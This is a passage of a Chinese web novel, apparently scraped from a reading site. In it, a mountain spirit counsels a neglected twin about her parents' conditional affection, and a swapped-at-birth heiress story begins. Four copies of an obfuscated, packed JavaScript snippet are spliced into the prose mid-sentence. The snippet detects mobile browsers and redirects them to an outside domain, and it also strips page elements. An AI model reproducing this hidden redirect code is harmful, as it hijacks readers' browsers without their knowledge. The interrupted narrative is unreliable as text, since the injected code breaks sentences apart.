这当然是不对的，但几乎所有孩子都曾幻想过自己是个天才，上课时睡觉，放学后打游戏，考试还能轻松考到好成绩，与之相反的笨拙则所有人都不愿意接受，而与笨拙挂钩的努力，在孩子眼里也有了负面含义。 “姐姐，”赵梓涵冲上来抱住眠云，声音有些哽咽道“其实努力真的很难堪，熬夜刷题的时候我困的都想给自己几巴掌，那些英语单词背的我头都大了，一转眼还是容易忘，还有数学，无论老师怎么讲我都听不懂，我感觉我就像个小丑一样，我永远都不如妹妹。” “为什么你想要穿越到这本小说里呢？”眠云的声音很平静的问道。 “因为……小说里的女主很厉害。”赵梓涵抹了一下眼睛，想要止住眼泪“如果我也能那么厉害就好了，如果我也是天才就好了。” “我想你并不是多么争强好胜的人吧？”眠云语气清清淡淡，却莫名有种令人安心的力量“为什么非要变得很厉害？” “我只跟姐姐一个人说哦，”赵梓涵一边抽抽搭搭的哭，一边断断续续的说“其实、其实我这次出来是离家出走的。” 赵梓涵的故事并不算波澜壮阔，她是万千平凡人中的一员，却有着说不出的委屈辛酸。 赵家父母在十五年前生了一对双胞胎姐妹，这本是一件好事，可不幸的是，双胞胎中的妹妹患有先天性心脏疾病，无奈之下赵家父母只好带着妹妹四处求医，将姐姐留在老家，交予长辈照看。 可能因为妹妹是夫妻俩亲手带大的，再加之妹妹身体不好，赵家父母对妹妹总是更用心，而在老家普普通通长大的姐姐赵梓涵，自然也成为了被父母忽视的对象。 “我在上学之前，都没有见过几次爸妈，”赵梓涵眼泪止不住的往下掉，“大家都有爸爸妈妈，就我没有，我的爸爸妈妈都在妹妹身边，哪怕妹妹回来了，他们也不愿意多看我一眼。” 不被偏爱的那个孩子，总是有苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829736|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不出，尤其是在妹妹漂亮优秀，姐姐普通笨拙的情况下，更疼爱妹妹便成了理所当然。 不被偏爱的感觉就像是绵延潮湿的雨，不致命，却令人心中委屈。 “我长到这么大，只单独收到过一次生日礼物，就是我给仙女姐姐的小熊挂坠。”赵梓涵继续诉说着她记忆中那些细小的委屈“每次我过生日的时候，爸爸妈妈都会给我买和妹妹一模一样的礼物，可那些东西是妹妹喜欢的，我不喜欢啊！” “今年妈妈送给我一条浅黄色的裙子，可我根本就穿不进去，后来我才知道，那条裙子是妹妹和妈妈一起买的，妹妹买了粉色的裙子，妈妈就顺手给我买了一件同款的黄色。” “我生气了，我说凭什么我总要让着妹妹，我不喜欢黄色、不喜欢裙子，那条裙子我甚至根本穿不上！” “我原本以为妈妈会跟我道歉的，因为这句道歉，我等的太久了。”赵梓涵边哭边说“可妈妈说我不懂事，她说不是裙子的问题，是我太胖了才穿不进裙子，我一气之下跑出来，才遇到了仙女姐姐。” “仙女姐姐，”赵梓涵微微停顿了一下说道“如果我变得又好看又厉害，爸爸妈妈会不会多爱我一些？我不想一直活在妹妹的阴影之中，哪怕是变得坚强一些也是好的，这样我就不会因为爸妈说了什么而委屈伤心了。” “你打算怎么做呢？”眠云没有评价任何人的行为，只是问道“梦迟早都会醒的，这场梦结束以后，你要怎么办？” “我不知道，”赵梓涵捂住脸“我不知道……我不想当做什么都没发生一样回去，但我也没法真的因为这种小事而去怨恨自己的爸妈，我真的不知道该怎么办。” 父母给她的爱不多不少，这些爱让她在逃离时忍不住愧疚，又在接受时忍不住痛苦，如果爸妈真的对她很差就好了，这样她起码她在长大后能够理所应当的离开，而不是像现在这样，在父母爱不爱自己上反复被折磨。 “我无法替你做出有关未来的决定，但你之前的问题，我可以回答。”眠云沉思片刻，慢悠悠的说道“当你变得更优秀漂亮以后，你的父母不会更爱你，但他们会对你好，就像对待你妹妹那样。” “为什么？”赵梓涵哭到大脑缺氧，可还是执着的问道“为什么爸妈不能像爱妹妹那样爱我呢？” “因为，爱是一种极其稀有的东西。”眠云微微垂眸“爱别人的能力，只有极少数人才有，你的父母显然没有，他们没有的东西，给不了你妹妹，更给不了你。” “爸妈很爱妹妹啊，”赵梓涵不理解眠云为什么会这么说“如果说我是家里的透明人，妹妹就是家里的小公主，为什么仙女姐姐说爸妈不爱妹妹？” “以你的角度来看，你的父母确实是爱你妹妹的。”眠云眼神淡漠至极“但爱不爱这种事，还是要从你父母自己的角度来看，怎么样，你愿意和我一起看看，那些你不知道的事吗？” 16. 第6章 人的一生中要经历很多爱。 父母的爱，伴侣的爱，孩子的爱，朋友的爱。 爱是一个相当普遍的概念，好像人人都会爱别人，也都能接收到别人的爱。 但眠云不认同这个观念。 她认为爱是稀少且珍贵的，只有极少数人才有爱别人的能力，也仅有少数幸运者才能得到真正的爱，人们能看到的大部分爱，不过是道德与法律双重束缚下顺势而为的选择。 十六年前，赵父赵母还只是一对小城里的普通夫妻，他们有着普通的工作，普通的家世，普通的能力，两人经亲戚介绍相识，因彼此都没有更好的选择而结婚，日子过得平凡又无趣。 结婚以后，赵母并不想趁年轻怀孕生子，她的人生本就已经够平凡的了，若是连年轻时可以潇洒玩乐的时间都被剥夺，那她这一辈子不免太过可悲。 赵父却不这样认为，他认为妻子年轻的时候生孩子精力更充沛，恢复的更快，再过几年说不定还能再生一个，这个愚蠢又自私的男人偷偷的换掉了妻子的避孕药，不久之后，他的妻子真的怀上了一对双胞胎。 这一对‘意外’得来的孩子打乱了他们原本的生活，就在赵母产检的时候，两人得知了一个噩耗，双胞胎中的一个可能有心脏问题。 其实这并不算是完全的意外，赵母有聚会喝酒的习惯，赵父则是一个老烟枪，烟、酒都会对胎儿的发育造成影响，赵母没有怀孕的准备，自然也没有特地戒酒，赵父则是根本不知道烟酒会对孩子造成影响。 两人爆发了争吵，最终还是决定把孩子生下来，因为这是赵母怀的第一胎，如果把这两个孩子打掉的话，赵母日后很难再怀孕。 “原来是这样，”看到这一幕的赵梓涵脸上的表情似哭似笑，她喃喃自语道“我在家的时候，爸爸妈妈经常跟我说是因为我长的太壮了，抢了妹妹的营养，妹妹才会生病，原来……他们一直在骗我。” 没有人知道赵父赵母是怎么想的，或许他们只是随口开了个玩笑，又或许他们是对妹妹高昂的治疗费产生了怨念连带看赵梓涵这个姐姐也不顺眼，总之，这句话说的多了，不仅是赵梓涵和妹妹，就连他们自己都信了几分。 双胞胎出生以后，果然如医院检查的那般，妹妹患有先天性心脏疾病，万幸这种病并不是没有治愈的方法，赵父赵母带着小女儿来到首都求医，但又一个困难摆在眼前，小女儿的病可以治，但治疗的费用需要二十万。 二十万对这个普通的家庭来说不少，赵父赵母在老家还有一套房子，位置比较偏，市值大概在二十五万左右，再加上他们手里有六七万的现金，怎么也足够支付治疗的费用了。 但赵父赵母仍然犹豫了。 不是没有，而是不划算。 对于底层人来说，再生一个孩子的成本远小于救一个心脏有问题的孩子，到底是要卖掉房子救，还是让这个有病的孩子能活一日算一日，这是个问题。 或许是看病的医生也发现了这对夫妻的犹豫，医生表示可以进行保守治疗，价格上会便宜很多，但具体能治到什么程度，以后会不会有后遗症，就要看孩子自身的情况了。 不幸中的万幸，妹妹的恢复情况还不错，虽说留下了体弱的毛病，但好歹不妨碍正常活动，也勉强算是痊愈了。 “接下来的事，我想不用我说你也知道。”眠云将光屏熄灭，看向赵梓涵“或许你的父母对你妹妹有几分宠爱，但我想这并不能被称□□。” “这是他们从多方面考量之后的结果。” “因为当初的事，你的父母对你妹妹怀有愧疚，还有一点就是你妹妹确实优秀，聪明又漂亮，无论是以后嫁人还是工作，都会有不错的收入。”眠云没有嘲讽的意思，只是语气平淡的说出了真相“当然了，或许也有你的母亲一直没能再怀孕的缘故。” “如果你变得优秀，你的父母确实会更关注甚至关心你，”眠云看着赵梓涵的眼睛“但这份本就不存在的爱，真的是你想要的吗？” “姐姐，”刚才一直在哭个不停的赵梓涵反常的没有哭，她近乎冷静的问道“那小熊呢？我的小熊挂坠呢？” 那个小熊挂坠是她唯一收到过与妹妹不一样的礼物，收到小熊挂坠的时候她真的好开心，她以为爸妈终于注意到她和妹妹的喜好完全不一样了，如今看来，或许那个小熊挂坠也只是她自以为是罢了。 “这个小熊确实是为你挑的，”眠云无奈的叹了一口气，像是对赵梓涵下了最后审判“可惜……它的存在并不像你想的那般美好。” 光屏再度亮起，这次在画面中出现的，是一条繁华的商业街，而赵母正在商业街上为两个女儿挑选礼物。 对于小女儿的礼物，赵母慎之又慎，她选了好几家店铺，最终才找到满意的，而小熊挂坠，其实只是她即将离开商业街时偶然看到的，把它买下来送给赵梓涵，也仅仅是不希望赵梓涵在过生日的时候太闹腾而已。 “不要忽视爱，也不必放大爱。”看到赵梓涵哭成了个泪人，眠云难得多说了几句“爱是求不得的，能求来的，只能被称作关注。” 听到眠云的话，赵梓涵哭的更厉害了，在大哭一场过后，她似乎想清楚了一些事，抹着眼泪说道“姐姐，我不想待在梦里了，我要回家。” “你想好了吗？”眠云问道“以后要怎么做？” “嗯，”赵梓涵点头，她擦干眼泪，甚至还笑了笑“我只是想通了，原来我的父母也是个普通人。” 普通人哪有那么多精力去思考爱呢？不过半是功利，半是模仿，就这样浑浑噩噩的活着罢了。 “好了。” 说话之间，赵梓涵已经从梦境中醒来，还是熟悉的八角亭，熟悉的石桌火炉，外面淅淅沥沥下着雨，仿佛一切都没有变过。 “谢谢仙女姐姐，”赵梓涵站起来，她实在不知道该怎么表达自己的感谢，只好对眠云鞠了一躬“我该回家了。” “路上小心，”眠云笑了笑，将一把竹伞递给她“外面下着雨，这把伞就送给你吧。” “不用……”赵梓涵下意识拒绝，她想要去抓那个小熊挂坠，手却在半路转了方向，接下了眠云的伞“谢谢姐姐。” “若无人为你递伞，你自己便要想着带伞，”眠云意有所指“毕竟如果没有伞，苦的可是你自己。” “我知道，”赵梓涵轻轻应了一声“多谢，我会记住今天的。” 说罢，她撑着竹伞离开了八角亭，花花跳上石桌，有些疑惑的看着赵梓涵的背影，它感觉这个人好像有哪里不太对劲，但具体是哪里不对劲，它也说不出来。 “云云，这个小孩怎么了？”花花抖了抖耳朵“她好像有哪里不一样了。” “长大了，”眠云笑笑，将那个小熊挂坠放在手上把玩“爱，可是求不得的啊。” * 后续·邻居视角 我叫程嘉，住在赵家旁边，也是赵家两姐妹的同学。 说是同学，其实也只是同校而已，我们这个小县城一共就只有六所高中，如果是同龄人的话，同校的概率相当大。 赵家姐妹中的妹妹赵梓惜在我们学校是个名人，因为她是以第一名的成绩考到我们学校来的，再加上长的漂亮，在学校里可谓是女神一样的存在，相比之下，姐姐就平凡了很多，无论是在校内还是校外，都是个透明人。 因为我家离赵家近，我和赵家姐妹又同校，我们三个就经常一起上下学，相处久了，我反倒和平凡的姐姐赵梓涵关系更好一些，至于妹妹……我始终对她亲近不起来，我感觉这个人有点假假的，总之就是让人不太舒服。 当然了，喜欢赵梓惜的人很多，倒也不缺我一个，包括学校里有名的男神都和赵梓惜关系亲密，我时常在想，或许我所在的世界是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829737|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本小说，赵梓惜是主角，而我和赵梓涵就是千篇一律的npc。 赵家的情况我是知道的，说句公道话，那对夫妻对赵梓涵的贬低听得我都想翻白眼，我们这里能上哪个高中都是按成绩来的，赵梓涵和赵梓惜能考上同一个高中，就说明她们的成绩可能只是第五名和第十名的差距，哪里有赵家父母说的一个天上一个地下那么严重？ 高一上学期结束，我拿了一个不上不下的成绩，这并不出人预料，毕竟在学校里我本来就是个中等生，倒是我的好朋友赵梓涵考的不错，原本成绩属于中下游的她这次排名和我差不多，作为朋友，我是真的很替她高兴。 说起来，赵梓涵最近像是变了个人一样，虽然她以前也不怎么爱说话，但那只是性格内向不善言辞而已，但近一个月赵梓涵不知道为什么好像一下子成熟了很多，在学习上更加努力，也不爱和她父母吵架了。 我住的老楼不隔音，考完试放假的第一天我就被隔壁的骂声给吵醒了，我原本以为是赵梓涵又被她父母骂了，却没想到这次挨骂的，竟是赵家父母一直捧在手心里的赵梓惜。 原来是因为赵梓惜在这次的全校考试中只取得了第三十二名的成绩，赵家父母觉得赵梓惜成绩下降，才骂了这个平日里异常宠爱的小女儿。 哪怕我不算喜欢赵梓惜，我都想替她鸣不平，毕竟高中不比初中，想要在将近一千名学生里次次取得第一根本不可能，赵梓惜的成绩已经足够好了，可惜赵家父母还不知足。 日子一天天过去，高中生的生活就是这样无聊又重复，无论赵家父母怎么骂，赵梓惜都没办法像初中那样成绩出众，甚至有一段时间赵梓惜因为身体不好而缺了很多课，虽说后来补上了，但到底成绩不如从前。 赵家父母似乎并不能接受只是平庸的优秀，而不是出类拔萃的小女儿，他们曾经多次去学校找老师，甚至怀疑赵梓惜是不是早恋了，但都没有结果。 现在我真的有点儿同情赵梓惜了，也明白她为什么有点儿假假的，有这么一对歇斯底里的父母，即使是再乖巧的孩子，都会变得擅长演戏吧？ 我的好朋友赵梓涵倒是不怎么惊讶，她说她父母的爱是有条件的，过去她妹妹满足了这个条件，父母就给了她妹妹全部的爱，现在她妹妹满足不了父母的条件了，父母也会考虑收回这份爱。 嗯……很哲学的一句话，但据我观察，赵父赵母对赵梓惜的关心少了，对赵梓涵的爱护多了，我为赵梓涵不再经常被父母责骂而高兴，但赵梓涵好像并没有多开心，只是很平静的接受了父母的变化。 高三最后一次模拟考的时候，赵梓涵和赵梓惜的成绩已经相差无几，不过这与命运无关，赵梓涵成绩提升是因为她心无旁骛的努力，赵梓惜成绩没有那么好，我想大概率是她孱弱的身体没办法支撑高强度的学习，初中的时候还不那么明显，到了高中以后，即使是聪明的孩子，也需要很努力的去学，才能保证成绩。 不知道是巧合还是商量过，赵家两姐妹选择上了同一所大学，不同的是，在大学毕业以后，姐姐赵梓涵选择继续读研，妹妹赵梓惜则是选择了正常毕业工作。 时间飞逝，转眼间很多年过去了，再见到这两姐妹是在我的婚礼上，两人还是一个白皙瘦弱，一个高壮结实，但与学生时代相反的是，强势自信的人成了姐姐，沉默软弱的人成了妹妹。 我多年的邻居，赵家夫妇也在，这两人对待赵家姐妹的态度也反了过来，对强势的姐姐卑微讨好，对沉默的妹妹破口大骂。 我实在搞不清楚这对夫妻是怎么想的，说疼爱小女儿吧，这会儿又不疼了，说疼爱大女儿吧，高中时候的事我可还记得呢。 关于这件事，我在私下里与赵梓涵说过，赵梓涵并未说什么，只是淡笑着说: “爱强求不得，态度却可以转变，有些人天生就没有爱人的能力，又何必谈爱呢。” 17. 豪门真假千金 咔哒—— 上好的骨瓷杯与实木桌碰撞，发出了清脆的声响，刚刚放下杯子的贵妇人轻掩唇角，不疾不徐的说道“你是说，十八年前你和我女儿在医院被抱错了，其实你才是我的女儿，而我女儿是你现在的父母生的？” “没错，”坐在对面沙发上，身材细瘦，皮肤黝黑，眼睛却如同星光一般明亮的少女斩钉截铁的回道“阿姨，我才是你的亲生女儿，如果你不信的话，我们可以去做亲子鉴定。” “这位……叶姑娘是吧？”贵妇人笑着打量了少女一眼道“很巧，你和我女儿一样姓叶，但不是所有姓叶的人都有血缘关系，叶姑娘，恕我冒昧，请问你是如何知道你不是你父母亲生的呢？” “我……是偷听到的，”黑瘦少女叶向夭说到这儿时显然有几分心虚，她很快调整好了心态，继续说道“不瞒您说，我的父母从小对我非打即骂，我们在长相上也没有丝毫相似之处，我曾亲耳听到过我母亲说我是与叶家换来的孩子，对了，我还有这个。” 说着，叶向夭拿出一枚观音玉坠，那玉坠只有一个指节大小，用红线穿着，通体晶莹剔透，玉质上乘，在灯光照射下散发着耀眼的光芒。 “这个是我出生时就带在身上的，”叶向夭小心翼翼的将玉坠放在桌子上说道“我想这应该是我亲生父母留给我的。” “这……”坐在叶母旁边的女孩惊疑不定的看了玉坠一眼，随后小声叫道“妈妈……” “放心，”叶母慈爱的拍了拍她，转头又对叶向夭说道“叶姑娘，很抱歉，我不是珠宝鉴定师，这样的玉坠我的确丢过一个，但已经过去这么多年，丢失的玉坠具体什么样子我早就记不清了，这个玉坠……恐怕实在难以当做证据。” “哪儿来的乡巴佬啊？”女孩旁边，一对十一、二岁的双胞胎男孩嗤笑道“拿个不知道从哪儿买的破玉坠就想来认亲，你这样我也见多了，这不就是碰瓷嘛。” “逸飞！”一直没怎么说话的女孩皱起眉，她打断了叶逸飞的话，又友好的朝叶向夭笑笑说道“你好，我是叶麟先，逸飞年纪小不懂事，如果还有什么证据的话，你可以再说说吗？” “没有……”叶向夭抿唇摇头“我可以和你们做亲子鉴定，我亲耳听到的，不会有错，再说即使我不是你们家的女儿，做个亲子鉴定也不会让你们损失什么吧？” 叶麟先犹豫的看向叶母，现在她也没了主意，毕竟叶向夭和她不仅同龄，而且是同一天出生的，如果叶向夭是叶家的女儿，那她就不可能是叶家女儿。 “叶姑娘，”叶母将叶麟先挡在身后，直视着叶向夭说道“我很肯定我的女儿就是亲生的，如果叶姑娘想要认亲的话，那就拿出证据来，我不会在没有证据的情况下去做亲子鉴定的，这对我女儿来说是一种伤害。” “妈妈，”叶麟先皱着眉看了一眼叶向夭，她生的纤弱，又天生带着些忧郁的气质，让人忍不住怜惜“不如我们……” “家里发生了什么？” 一个青年男人从楼上走了下来，叶麟先弱弱的叫了一声哥哥以后便不再说话了。 “这位小姐，”叶家长子叶归鸿居高临下的看向叶向夭“我不管你是来做什么的，我们叶家人，可不容你随意诬陷。” “我什么都没做！”叶向夭终于忍不住了，她性格向来成熟冷静，可再冷静的人也经不起这般指责。 “这个坏女人在欺负姐姐，”双胞胎中的叶逸扬笑嘻嘻的说道“哥哥你看，姐姐都快哭了！” “不……”忽然被叫到的叶麟先连忙摆手“我没有哭，叶姑娘也没有欺负我，我……” “叶小姐，”叶归鸿沉声质问“麟先如果哪里得罪了你，我代她向你道歉，请你原谅，但若是你欺负了叶家唯一的女儿，我唯一的妹妹，不管是我还是叶家，都不会轻易饶过你！” “你们叶家的兄弟姐妹可真团结，”叶向夭深呼吸几次，还是没能将火气压下去，她讽刺道“若是来日知晓，你的妹妹并非亲生，是被人恶意调换的，你还能这么护着她吗？” “你胡说什么？！”叶归鸿冷声呵斥，甚至顾不得仪态，将叶麟先都吓了一跳“麟先就是我妹妹，请你离开叶家！” “大哥……”叶麟先小声劝阻“不要这样……” “都在吵什么呢？”一个带着金边眼镜，气质成熟儒雅的男人走了进来，他微微皱眉看了一眼叶归鸿，又很快微笑着说道“一家子吵吵闹闹的做甚？有什么事不能好好说？” “爸爸，”叶麟轻声叫了一句，又将刚刚的事交代清楚后才说道“这位叶姑娘，可能和我抱错了，她想和爸爸妈妈做一个亲子鉴定。” “那就去做一个吧，”叶父沉思了片刻后抬头“我们所有人都去做，也免得有什么误会。” “老公！”叶母有些不可置信，随后便不满的开口“不行！我和麟先、归鸿都不去，如果这件事只是那个小姑娘瞎说的，你知道这会让麟先多寒心吗？” “父亲，”叶归鸿也摆明了不赞同的态度“这姑娘无凭无据，就说是叶家的女儿，您这样做，也太不顾及妹妹的感受了。” “我有凭证！”叶向夭不知为何叶家人如此排斥她，她拿起观音玉坠展示在众人面前“这观音玉坠是我的亲生父母留给我的。” “我都说了，”叶母下意识反驳“这玉坠……” “这玉坠……”叶父紧走几步，将玉坠拿在手中“这玉坠，确实是我们家十八年前丢的那一个，孩子，你说这是你从出生到现在一直带在身上的？” “……是，”叶向夭迟疑了片刻，还是点头道“我很确定，从我有记忆起，这个玉坠就一直在我身上。” “这样吧，”叶父拍了拍叶向夭的肩膀“今天已经太晚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829738|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你先回去，这个亲子鉴定……我们改日再做。” “若是叶家所有人都不愿意认我的话，这亲子鉴定根本没必要做。”叶向夭很缺钱，但她不想跪着认亲“要是到时候真验出了我是叶家的女儿，你们是不是又要指责我咄咄逼人，抢占了叶麟先的位置？” “抱歉，我们绝对没有这个意思。”叶麟先抢先站起来，她说话时轻声细语，若不是现在叶家安静的可怕，恐怕没人能听到她说话“叶姑娘，你先别生气，刚刚我们只是……” “行了！”叶向夭没什么耐心看叶麟先演贴心小白花的戏码，她直接对叶父说道“亲子鉴定做不做，什么时候做，您给我个准话，要是不想做，大可不必在我这儿打太极。” “当然要做，”叶父对叶向夭的态度很好，他当场和叶向夭交换了建议方式道“明天早上九点，小姑娘你过来这里就行。” 叶向夭没再说话，只是点点头，她的眼神扫过叶家众人，尤其在慌张无措的叶麟先身上停留了许久，才转身离开。 离开叶家以后，叶向夭漫无目的的走着，她在叶家表现的很镇定，甚至有些强势，但作为一个几乎从来没有体验过父爱母爱的小姑娘，她也感到很迷茫。 家是找到了，可家人似乎并不愿意认她，那个代替了她位置的假千金反而和她的家人更融洽，她真的可以回家吗？ “小姑娘，天都快黑了，你怎么还不回家？” 一个陌生的女子提着一盏灯笼出现在叶向夭面前，叶向夭打量了女子两眼，只觉的对方有些古怪，现在还有人留着一头长至脚踝的头发，还把头发染成墨绿色吗？ “别怕，”眠云轻轻笑了笑说道“我不会害你，这林子很大，小姑娘你该不会是迷路了吧？” 叶向夭看了一眼周围，现在天已经黑的差不多了，周围的树影像是狰狞的鬼手，幸好她之前一直住在农村，胆子又大，倒是不怕这些。 让她感到不对劲的是周围的环境，她只是去了附近一个小公园随便走走而已，原本公园里的树林应该只有一小片，什么时候树林变得这么广阔了？ “这里是哪里？你是谁？”叶向夭瞬间警惕起来，这周围只有她和面前这个女人两个，换句话说，哪怕这个女人杀人埋尸都不会有人发现。 “这里是岐山，”眠云笑了笑，用左手打了个响指“我是岐山山鬼眠云，欢迎来到岐山。” 一瞬间，原本一片漆黑的山林忽然亮了起来，那亮光不同于刺眼的日光或灯光，它像萤火虫一般星星点点的漂浮在山林之中，美的如梦如幻。 “我这是……睡着做梦了？”叶向夭揉了揉自己的眼睛，不敢相信眼前这一幕是真实发生的“难道说我梦到了妖精的聚会？” “那……可以邀请你一同参加吗？”眠云笑了一下，觉得这孩子的想象力真丰富“来自人间的落难公主？” 18. 第2章 先不提困难公主这个称呼，叶向夭对所谓的妖精聚会确实很好奇。 她跟着眠云往山上走，这时她已经确定了自己不在公园之中，毕竟哪个公园会有这么高的山？ “到了，”眠云把灯笼放下，笑着说道“我记得你为了赶去叶家已经一天都没吃饭了，坐下来吃点儿东西吧，虽然这些东西也是买来的，但味道还算新奇。” 岐山可以通往任何位面，这些吃食是从一个修仙位面买回来的，叶向夭自然不可能见过。 “谢谢，”叶向夭下意识道谢，片刻之后她才反应过来眠云说了什么，忍不住问道“你怎么知道我一天都没吃饭？” “神可是什么都知道的，”眠云坐到石凳上，她看了一眼埋头苦吃的花花，又笑道“若你现在不多吃一些，恐怕一会儿就要被花花给吃完了。” 叶向夭这才看到，桌子上除了她和眠云，还有一只杂毛猫，她迟疑的拿起一个好像火炬一样的东西，严重怀疑这真的能吃吗？ “可以吃，”眠云看出了叶向夭的迟疑，她介绍道“这个……你可以当做比较另类的冰淇淋，嗯……像是火焰一样的冰淇淋，不烫，味道酸甜，还挺好吃的。” 听到眠云这么说，叶向夭低头尝了一口上面的‘火焰’果然如眠云所说，这不是什么火焰，应当是一种酸甜的水果混合着类似于奶油的东西做成的，味道还不错。 “刚刚，你为什么叫我落难公主？” 吃完了火炬，叶向夭感觉没那么饿了，她迫不及待的问道“你真的什么都知道吗？” “当然，”眠云支着手臂点头“我可以帮助你，不过你也要付出相应的报酬。” “……我没有钱，”叶向夭迟疑了片刻后摇头“不瞒你说，就连这次去叶家的路费，都是我省了好久才省出来的。” “我不要你的钱，我说的报酬是旁的东西，”眠云笑了笑“不如先和我说说，你有什么困难吧。” 这件事其实没什么好隐瞒的，叶向夭将她和叶麟先被抱错的事直接说了出来，她原本是豪门千金，却被换走了人生，过了十八年的苦日子，若是没有一点儿怨气才是真奇怪呢。 “我感觉，我真正的家人好像都不太喜欢我。”叶向夭苦笑“比起我，他们更愿意维护那个假千金，他们很顾及叶麟先的感受，我却被直接赶出来了，他们甚至没问过我有没有地方住。” “嗯……毕竟对于叶家人来说你只是个陌生人，”眠云思索片刻够道“你希望他们能快速接纳你吗？” “可以吗？”叶向夭犹豫了一下“如果我的愿望是这个的话，需要什么报酬？” 对于一个从小被父母苛待的孩子来说，亲情的诱惑实在太大了，哪怕现在亲人们看起来态度并不好，她也想试一试。 “我可以让你拥有读心术，”眠云伸手点了点叶向夭的胸口“当然，是暂时的，作为报酬，你要把你的观音玉坠给我。” “这个不行，”叶向夭果断拒绝，后又补充道“暂时不行，因为这个观音玉坠是我认亲的信物，要是这个弄丢了的话，到时候恐怕我有嘴也解释不清。” 叶母本来就怀疑观音玉坠是随便买的，要是明天去做亲子鉴定的时候观音玉坠丢了，那无论她是不是叶家的亲生女儿，在叶母眼里都是心虚。 “我不会立刻拿走这玉坠，”眠云唇角轻扬“三个月后，我将带走玉坠，同时，你也会失去读心的能力。” “也就是说，我拿观音玉坠换个三个月读心术，而且是先用后付？”叶向夭想了一会儿，抬头看向眠云“成交。” 叶向夭是个很果断的人，比起戴了十八年的观音玉坠，她更需要能够快速融入家庭的读心术，用自己不那么需要的去换取更重要的东西，这笔买卖对她来说很划算。 “不如你就在这儿休息一晚吧，”眠云并不意外叶向夭的选择，毕竟一个从大山里考到全国最好的大学的孩子，又怎么会没有魄力呢？“算是交易的附赠。” “谢谢。”叶向夭低下头，她身上真的没有多少钱，平日里兼职做家教赚的钱能交的起学费和生活费已经很勉强了，她现在身上只剩回去的路费，如果不是眠云收留她，她恐怕今晚就要去二十四小时营业的快餐店凑合一晚。 “山路难行，让小红送你过去吧，”眠云向山林中挥了挥手，一只赤豹从林中蹿出“别害怕，小红是灵兽，会说话，你若是无聊的话也可以和它聊聊天。” “好。”叶向夭点点头，有些好奇的看着那个比她还大的多的赤豹，毕竟这里是妖精的聚会，有会说话的小动物也是正常吧。 “云云，”刚才还两耳不闻窗外事，一心只吃桌上饭的花花见没人跟它抢，终于抬起头来“这个小姑娘真的是被抱错的真千金？” “她的确是叶家的孩子，”眠云笑了笑，摸摸花花的脑袋“只不过……叶家也有很多秘密啊。” * 亲子鉴定机构中，一个一身黑色西装，打扮成熟得体的中年男人正在静静等候，男人身边还有一个不到二十岁的年轻姑娘和一个穿着富贵的中年女人。 与叶父的期待不同，叶麟先看似平静，实则紧张，叶母则是紧紧握着叶麟先的手，时不时询问她是否要先回家等候消息。 一个高挑黑瘦的女孩从外面走了进来，女孩衣着陈旧，一看便知是贫穷人家的孩子，值班的工作人员看着这明显不是一家的四人，倒也没多问什么，毕竟这里是亲子鉴定机构，什么奇葩事他们没见过。 “叶叔叔，”叶向夭看了一眼过来的叶家父母和叶麟先，比她预想的要强一些，好歹叶家父母都过来了，她原本以为可能只有叶父一个人来。“我就不说那么多废话了，直接做亲子鉴定吧。” “好，”叶父十分好说话，他和蔼的拍了拍叶向夭的肩膀问道“孩子，你还没吃饭呢吧？不如一会儿我们一起吃，别饿坏了。” 「这孩子和我年轻的时候长的真像啊，听说还考上了京大，不愧是我的亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829739|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生女儿。」 “谢谢，我吃过了，”听到叶父的心声，叶向夭脸色柔和了些许，看来在这个家里，至少叶父是欢迎自己的。“叶叔叔也要注意身体。” “好，”叶父哈哈笑了几声，看上去很是开怀“叔叔倒是真希望有夭夭你这么个乖巧懂事的女儿。” 亲子鉴定一般需要七天才能出结果，哪怕加急也要等三天，叶向夭倒是不急，毕竟真的假不了，等结果一出来，谁是叶家的真千金自然有分晓。 “爸爸，”叶麟先看了叶向夭一眼，又对叶父轻声说道“我知道这附近有一家不错的茶馆，不如我们去那里坐坐吧？” 